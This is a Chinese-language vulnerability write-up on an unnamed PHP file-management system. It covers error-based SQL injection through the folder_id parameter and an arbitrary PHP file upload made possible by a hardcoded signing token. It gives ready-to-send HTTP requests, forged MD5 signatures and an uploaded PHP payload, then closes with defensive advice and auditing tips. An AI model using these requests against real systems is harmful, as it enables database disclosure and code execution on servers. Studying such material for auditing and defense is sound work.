记一次0.5day分析
字数 1039 2025-08-19 12:42:20

0.5day漏洞分析与利用教学文档

1. SQL注入漏洞分析

1.1 漏洞背景

该漏洞存在于一个文件管理系统,当查询文件列表时,系统会生成SQL语句但不立即执行,导致特殊字符未被正确处理,最终通过UNION操作造成SQL注入。

1.2 漏洞原理

  1. 框架使用fetchSql(true)仅生成SQL而不执行
  2. 生成的SQL语句中包含未转义的特殊字符(如单引号)
  3. 最终通过UNION操作将恶意SQL片段拼接到查询中

1.3 关键代码分析

// 生成的SQL语句示例
string(221) "SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE  `uid` = 10  AND `parent_folder` = 3'  AND `delete_time` IS NULL  AND `origin_name` LIKE '%aa%'"

// 最终执行的恶意SQL
SELECT `id`,`uid`,`shares_id`,folder_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_folders` WHERE  `uid` = 10  AND `parent_folder` = '3'  AND `delete_time` IS NULL  AND `folder_name` LIKE '%aa%' 

UNION ALL 

( SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE  `uid` = 10  AND `parent_folder` = 3  AND `delete_time` IS NULL  AND `origin_name` LIKE '%aa%' ) LIMIT 0,20

1.4 漏洞利用

通过构造特殊参数触发XPath错误泄露数据库信息:

GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1

2. 文件上传漏洞分析

2.1 漏洞背景

系统存在一个受保护的文件上传功能,通过绕过签名验证和利用通知机制,攻击者可以实现任意文件上传并获取上传路径。

2.2 漏洞原理

  1. 上传功能位于public/server/index.php中的start()方法
  2. 虽然需要签名验证,但签名密钥硬编码在配置中
  3. 上传后通过upload_notify函数泄露文件路径

2.3 签名验证机制

  1. 签名算法:md5("md=upload&uid=1asdasfasfasfasfasfa")
  2. 硬编码token:asdasfasfasfasfasfa
  3. 签名验证逻辑:
    • 从GET参数构建参数字符串
    • 拼接硬编码token
    • 计算MD5并与传入的sign参数比较

2.4 漏洞利用步骤

2.4.1 生成有效签名

<?php echo md5("md=upload&uid=1asdasfasfasfasfasfa");?>
// 输出: e8766abd8742eb67a2c07b089ecf636a

2.4.2 上传恶意文件

POST /server/index.php/start?md=upload&uid=1&sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1
Host: wp.com
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427

----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php

<?php phpinfo(); ?>
----------------------------570796120375390059114427--

2.4.3 获取上传路径

  1. 利用upload_notify功能泄露路径
  2. 生成通知请求签名:
echo md5("md=upload&notify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");
// 输出: 88c03d47ed5a1df9ed7ed9e1c1ce8afd
  1. 发送带通知的请求:
POST /server/index.php/start?md=upload&uid=1&notify=http://127.0.0.1:8877/&sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1
Host: wp.com
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
[同上文件内容]

3. 防御建议

3.1 SQL注入防御

  1. 始终使用参数化查询或预处理语句
  2. 避免使用fetchSql(true)生成未处理的SQL
  3. 对用户输入进行严格的过滤和转义
  4. 禁用危险的SQL操作如UNION

3.2 文件上传防御

  1. 不要硬编码签名密钥
  2. 实现更安全的签名算法(如HMAC)
  3. 限制上传文件类型(白名单方式)
  4. 禁止上传可执行文件(.php等)
  5. 随机化上传文件路径和名称
  6. 不要通过外部请求泄露敏感信息

4. 审计技巧总结

  1. 关注框架的特殊用法如fetchSql(true)
  2. 追踪用户输入在整个处理流程中的变化
  3. 对于签名验证机制,检查密钥是否可预测
  4. 注意protected/private方法的调用链
  5. 使用PHPStorm等专业IDE进行代码审计
  6. 多调试、多打印中间变量值
  7. 关注文件操作函数(move_uploaded_file等)的使用场景
0.5day漏洞分析与利用教学文档 1. SQL注入漏洞分析 1.1 漏洞背景 该漏洞存在于一个文件管理系统,当查询文件列表时,系统会生成SQL语句但不立即执行,导致特殊字符未被正确处理,最终通过UNION操作造成SQL注入。 1.2 漏洞原理 框架使用 fetchSql(true) 仅生成SQL而不执行 生成的SQL语句中包含未转义的特殊字符(如单引号) 最终通过UNION操作将恶意SQL片段拼接到查询中 1.3 关键代码分析 1.4 漏洞利用 通过构造特殊参数触发XPath错误泄露数据库信息: 2. 文件上传漏洞分析 2.1 漏洞背景 系统存在一个受保护的文件上传功能,通过绕过签名验证和利用通知机制,攻击者可以实现任意文件上传并获取上传路径。 2.2 漏洞原理 上传功能位于 public/server/index.php 中的 start() 方法 虽然需要签名验证,但签名密钥硬编码在配置中 上传后通过 upload_notify 函数泄露文件路径 2.3 签名验证机制 签名算法: md5("md=upload&uid=1asdasfasfasfasfasfa") 硬编码token: asdasfasfasfasfasfa 签名验证逻辑: 从GET参数构建参数字符串 拼接硬编码token 计算MD5并与传入的sign参数比较 2.4 漏洞利用步骤 2.4.1 生成有效签名 2.4.2 上传恶意文件 2.4.3 获取上传路径 利用 upload_notify 功能泄露路径 生成通知请求签名: 发送带通知的请求: 3. 防御建议 3.1 SQL注入防御 始终使用参数化查询或预处理语句 避免使用 fetchSql(true) 生成未处理的SQL 对用户输入进行严格的过滤和转义 禁用危险的SQL操作如UNION 3.2 文件上传防御 不要硬编码签名密钥 实现更安全的签名算法(如HMAC) 限制上传文件类型(白名单方式) 禁止上传可执行文件(.php等) 随机化上传文件路径和名称 不要通过外部请求泄露敏感信息 4. 审计技巧总结 关注框架的特殊用法如 fetchSql(true) 追踪用户输入在整个处理流程中的变化 对于签名验证机制,检查密钥是否可预测 注意protected/private方法的调用链 使用PHPStorm等专业IDE进行代码审计 多调试、多打印中间变量值 关注文件操作函数(move_ uploaded_ file等)的使用场景